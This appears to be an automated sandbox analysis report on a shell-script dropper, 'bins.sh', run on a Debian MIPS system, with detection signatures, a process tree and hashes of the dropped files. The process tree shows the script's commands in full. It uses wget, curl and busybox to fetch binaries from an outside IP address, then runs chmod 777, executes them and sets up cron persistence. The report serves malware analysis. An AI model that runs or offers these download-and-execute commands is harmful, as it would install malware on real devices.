Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    12/11/2024, 00:17

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241112-ak2ghstkfj
  • SHA256 a0bc5dc0b863bdc4f8d16130fdc188d0d6efaa6ddc8a2946c00955a921e109b3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1649) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 33 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:716
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:722
        • /usr/bin/wget
          wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Writes file to tmp directory
          PID:723
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Writes file to tmp directory
          PID:743
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Writes file to tmp directory
          PID:747
        • /bin/chmod
          chmod 777 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          ./5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
          • Executes dropped EXE
          PID:749
        • /bin/rm
          rm 5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
          2⤵
            PID:751
          • /usr/bin/wget
            wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • Writes file to tmp directory
            PID:752
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • Writes file to tmp directory
            PID:753
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • Writes file to tmp directory
            PID:754
          • /bin/chmod
            chmod 777 LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            ./LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
            • Executes dropped EXE
            PID:758
          • /bin/rm
            rm LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
            2⤵
              PID:762
            • /usr/bin/wget
              wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • Writes file to tmp directory
              PID:763
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:774
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • Writes file to tmp directory
              PID:789
            • /bin/chmod
              chmod 777 uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • File and Directory Permissions Modification
              PID:794
            • /tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              ./uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
              • Executes dropped EXE
              PID:795
            • /bin/rm
              rm uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
              2⤵
                PID:798
              • /usr/bin/wget
                wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • Writes file to tmp directory
                PID:800
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:812
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • Writes file to tmp directory
                PID:813
              • /bin/chmod
                chmod 777 lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • File and Directory Permissions Modification
                PID:814
              • /tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                ./lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                • Executes dropped EXE
                PID:815
              • /bin/rm
                rm lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                2⤵
                  PID:817
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • Writes file to tmp directory
                  PID:818
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:819
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • Writes file to tmp directory
                  PID:823
                • /bin/chmod
                  chmod 777 jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • File and Directory Permissions Modification
                  PID:829
                • /tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  ./jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                  • Executes dropped EXE
                  PID:831
                • /bin/rm
                  rm jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                  2⤵
                    PID:834
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • Writes file to tmp directory
                    PID:836
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • Writes file to tmp directory
                    PID:849
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • Writes file to tmp directory
                    PID:857
                  • /bin/chmod
                    chmod 777 I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • File and Directory Permissions Modification
                    PID:858
                  • /tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    ./I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                    • Executes dropped EXE
                    PID:859
                  • /bin/rm
                    rm I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                    2⤵
                      PID:861
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
                      2⤵
                      • Writes file to tmp directory
                      PID:862
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:863
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
                      2⤵
                      • Writes file to tmp directory
                      PID:864
                    • /bin/chmod
                      chmod 777 WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
                      2⤵
                      • File and Directory Permissions Modification
                      PID:865
                    • /tmp/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
                      ./WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
                      2⤵
                      • Executes dropped EXE
                      PID:869
                    • /bin/rm
                      rm WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
                      2⤵
                        PID:871
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
                        2⤵
                        • Writes file to tmp directory
                        PID:872
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
                        2⤵
                        • Writes file to tmp directory
                        PID:873
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
                        2⤵
                        • Writes file to tmp directory
                        PID:874
                      • /bin/chmod
                        chmod 777 7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
                        2⤵
                        • File and Directory Permissions Modification
                        PID:875
                      • /tmp/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
                        ./7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
                        2⤵
                        • Executes dropped EXE
                        PID:876
                      • /bin/rm
                        rm 7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
                        2⤵
                          PID:878
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
                          2⤵
                          • Writes file to tmp directory
                          PID:879
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
                          2⤵
                          • Writes file to tmp directory
                          PID:880
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
                          2⤵
                          • Writes file to tmp directory
                          PID:881
                        • /bin/chmod
                          chmod 777 pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
                          2⤵
                          • File and Directory Permissions Modification
                          PID:882
                        • /tmp/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
                          ./pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
                          2⤵
                          • Executes dropped EXE
                          PID:883
                        • /bin/rm
                          rm pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
                          2⤵
                            PID:885
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
                            2⤵
                            • Writes file to tmp directory
                            PID:886
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
                            2⤵
                            • Writes file to tmp directory
                            PID:887
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
                            2⤵
                            • Writes file to tmp directory
                            PID:888
                          • /bin/chmod
                            chmod 777 DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
                            2⤵
                            • File and Directory Permissions Modification
                            PID:889
                          • /tmp/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
                            ./DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
                            2⤵
                            • Executes dropped EXE
                            PID:890
                          • /bin/rm
                            rm DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
                            2⤵
                              PID:892
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
                              2⤵
                              • Writes file to tmp directory
                              PID:893
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
                              2⤵
                              • Writes file to tmp directory
                              PID:894
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
                              2⤵
                              • Writes file to tmp directory
                              PID:895
                            • /bin/chmod
                              chmod 777 zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
                              2⤵
                              • File and Directory Permissions Modification
                              PID:896
                            • /tmp/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
                              ./zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
                              2⤵
                              • Executes dropped EXE
                              • Renames itself
                              • Reads runtime system information
                              PID:897
                              • /bin/sh
                                sh -c "crontab -l"
                                3⤵
                                  PID:899
                                  • /usr/bin/crontab
                                    crontab -l
                                    4⤵
                                      PID:900
                                  • /bin/sh
                                    sh -c "crontab -"
                                    3⤵
                                      PID:901
                                      • /usr/bin/crontab
                                        crontab -
                                        4⤵
                                        • Creates/modifies Cron job
                                        PID:902
                                  • /bin/rm
                                    rm zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
                                    2⤵
                                      PID:904
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/cvYpu9lcmfonahQt9pvbY76tlUD8xfsq9P
                                      2⤵
                                        PID:907

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq

                                          • Path /tmp/5e8xYf6xyAIvOJJBuSSWbyAww6mPNROkcq
                                          • Size 177KB
                                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                          • MD5 SHA1 SHA512 SSDEEP

                                          7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb

                                          • Path /tmp/7PcT1pdPXoaTdVSLx0TnJO2DZg7srvPUrb
                                          • Size 117KB
                                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                          • MD5 SHA1 SHA512 SSDEEP

                                          DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO

                                          • Path /tmp/DxHXBtK3BkWecVdx0QaKP2KMIXFfkA3afO
                                          • Size 141KB
                                          • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                          • MD5 SHA1 SHA512 SSDEEP

                                          I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY

                                          • Path /tmp/I5C6cKl34Ei0uavRytnkmRWbkvV2cHn7xY
                                          • Size 151KB
                                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                          • MD5 SHA1 SHA512 SSDEEP

                                          LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy

                                          • Path /tmp/LCGmKzqqxrEJyfyEeDEvfuNBnKrQ9trFoy
                                          • Size 119KB
                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                          • MD5 SHA1 SHA512 SSDEEP

                                          WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp

                                          • Path /tmp/WzPHSy2HH2EF8FcRkesppucBdF1qg5cIEp
                                          • Size 122KB
                                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                          • MD5 SHA1 SHA512 SSDEEP

                                          jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs

                                          • Path /tmp/jdIJj905VwcOvJdo5gyfTRjKhfYdVNZrZs
                                          • Size 112KB
                                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                          • MD5 SHA1 SHA512 SSDEEP

                                          lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z

                                          • Path /tmp/lhM9wGmuN8Il95azrLqel00lKIlESzdN8Z
                                          • Size 111KB
                                          • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                          • MD5 SHA1 SHA512 SSDEEP

                                          pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx

                                          • Path /tmp/pFZoUefilhK5DbJNhvY6MxAm6Ibrj0edKx
                                          • Size 99KB
                                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                          • MD5 SHA1 SHA512 SSDEEP

                                          uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN

                                          • Path /tmp/uSKkIfBb4wrsy8Z7GmaQn8xQ4DRG0gBhBN
                                          • Size 127KB
                                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                          • MD5 SHA1 SHA512 SSDEEP

                                          zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl

                                          • Path /tmp/zCfcqNFBH8DRT0KTGS10puYd1jOm5wE9zl
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP

                                          tmp.DlupgN

                                          • Path /var/spool/cron/crontabs/tmp.DlupgN
                                          • Size 210B
                                          • SHA256 d04389b5fafce787cf66562c9676315c2b8572d2e2b942e33c4be0f42d6f6c42
                                          • MD5 SHA1 SHA512